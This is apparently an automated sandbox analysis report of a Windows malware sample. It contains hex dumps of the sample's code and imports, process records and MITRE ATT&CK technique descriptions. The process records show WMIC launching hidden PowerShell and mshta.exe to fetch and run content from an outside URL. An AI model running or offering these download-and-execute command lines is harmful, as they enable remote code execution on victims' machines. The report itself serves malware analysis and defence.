2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 68 ff ff ff d9 42 48 dd 95 60 ff ff ff d9 42 5c dd 95 58 ff ff ff dd 45 d8 de cc dd 45 b8 de cd d9 cb de c4 dd 45 c0 de ca d9 cb de c1 d9 ca de cc d9 c9 de c3 d8 c9 de c2 d9 c9 d9 9d 14 ff ff ff d9 42 24 dd 95 50 ff ff ff d9 42 10 dd 95 30 ff ff ff d9 42 38 dd 95 48 ff ff ff d9 42 4c dd 95 40 ff ff ff d9 42 60 dd 95 38 ff ff ff dd 45 d8 de cc dd 45 b8 de cd d9 cb de c4 dd 45 c0 de ca d9 cb de c1 dd 85 c8 fe ff ff de cb de c2 de ca de c1 d9 9d 10 ff ff ff d9 41 18 d9 41 14 d9 41 1c d9 41 20 d9 41 24 d9 c3 dc 4d a0 d9 c5 dc 4d a8 de c1 d9 c3 dc 4d c8 de c1 d9 c2 dc 4d d0 de c1 d9 c1 dc 4d b0 de c1 d9 9d 0c ff ff ff d9 c3 dc 4d f8 d9 c5 dc 4d e0 de c1 d9 c3 dc 4d e8 de c1 d9 c2 dc 4d f0 de c1 d9 c1 dc 8d 28 ff ff ff de c1 d9 9d 08 ff ff ff d9 c3 dc 8d 20 ff Data Ascii: hBH`B\XEEEB$PB0B8HBL@B`8EEEAAAA A$MMMMMMMMM(
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: ff 15 fc 21 41 00 5e c9 c3 cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 34 53 56 57 e8 65 ff ff ff 8b 4d 08 be 00 00 40 00 c7 45 cc 24 00 00 00 89 4d d0 8b 41 04 8b 59 08 03 c6 8b 51 0c 03 de 8b 79 10 03 d6 03 fe 89 5d fc 8b 71 14 81 c6 00 00 40 00 89 45 d8 89 75 f0 8b 71 1c 89 75 f8 8b 75 0c 89 75 d4 33 f6 f7 01 01 00 00 00 89 75 dc 89 75 e0 89 75 e4 89 75 e8 89 75 ec 75 24 8d 45 cc 89 45 fc e8 42 ff ff ff 8d 45 fc 50 6a 01 56 68 57 00 6d c0 ff 15 e0 21 41 00 33 c0 e9 1c 02 00 00 8b 45 0c 8b 33 2b c2 c1 f8 02 89 45 f4 8b 0c 87 8b c1 c1 e8 1f f7 d0 83 e0 01 89 45 dc 8d 81 02 00 40 00 75 03 0f b7 c1 8b 1d 18 31 40 00 33 ff 89 45 e0 85 db 74 19 8d 45 cc 8b cb 50 57 ff 15 4c 24 41 00 ff d3 8b f8 85 ff 0f 85 a1 01 00 00 85 f6 0f 85 d8 00 00 00 8b 1d 18 31 40 00 85 Data Ascii: !A^U4SVWeM@E$MAYQy]q@Euquuu3uuuuuu$EEBEPjVhWm!A3E3+EE@u1@3EtEPWL$A1@
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff cf fd 40 00 22 05 93 19 01 00 00 00 30 06 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff ff fd 40 00 22 05 93 19 01 00 00 00 5c 06 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 2f fe 40 00 22 05 93 19 07 00 00 00 88 06 41 00 01 00 00 00 c0 06 41 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 82 fe 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8a fe 40 00 03 00 00 00 92 fe 40 00 03 00 00 00 9c fe 40 00 05 00 00 00 60 f7 40 00 01 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 d4 06 41 00 08 00 00 00 d8 12 41 00 d8 ff ff ff 71 9b 40 00 00 00 00 00 22 05 93 19 09 00 Data Ascii: @"0A@"\A/@"AA@@@@`@AAq@"
2024-12-08 08:52:06 UTC	8000	IN	Data Raw: 57 00 00 26 03 53 65 74 44 65 73 6b 74 6f 70 43 6f 6c 6f 72 54 72 61 6e 73 66 6f 72 6d 00 00 02 00 50 6c 61 79 53 6f 75 6e 64 53 65 72 76 65 72 49 6e 69 74 69 61 6c 69 7a 65 00 50 6c 61 79 53 6e 64 53 72 76 2e 44 4c 4c 00 00 06 00 41 63 63 65 73 73 69 62 6c 65 4f 62 6a 65 63 74 46 72 6f 6d 57 69 6e 64 6f 77 00 00 4f 4c 45 41 43 43 2e 64 6c 6c 00 00 5d 00 43 6f 49 6e 69 74 69 61 6c 69 7a 65 00 00 8e 00 43 6f 55 6e 69 6e 69 74 69 61 6c 69 7a 65 00 00 28 00 43 6f 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 00 00 6f 6c 65 33 32 2e 64 6c 6c 00 4f 4c 45 41 55 54 33 32 2e 64 6c 6c 00 00 55 78 54 68 65 6d 65 2e 64 6c 6c 00 b0 01 53 68 65 6c 6c 45 78 65 63 75 74 65 57 00 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 49 00 50 61 74 68 46 69 6c 65 45 78 69 73 74 73 57 00 53 48 Data Ascii: W&SetDesktopColorTransformPlaySoundServerInitializePlaySndSrv.DLLAccessibleObjectFromWindowOLEACC.dll]CoInitializeCoUninitialize(CoCreateInstanceole32.dllOLEAUT32.dllUxTheme.dllShellExecuteWSHELL32.dllIPathFileExistsWSH

Target ID:	0
Start time:	03:51:56
Start date:	08/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://nins.in/cembra/power/powersearch"
Imagebase:	0x7ff643e60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	03:51:58
Start date:	08/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\mshta.exe" https://nins.in/cembra/power/powersearch
Imagebase:	0x7ff693b20000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre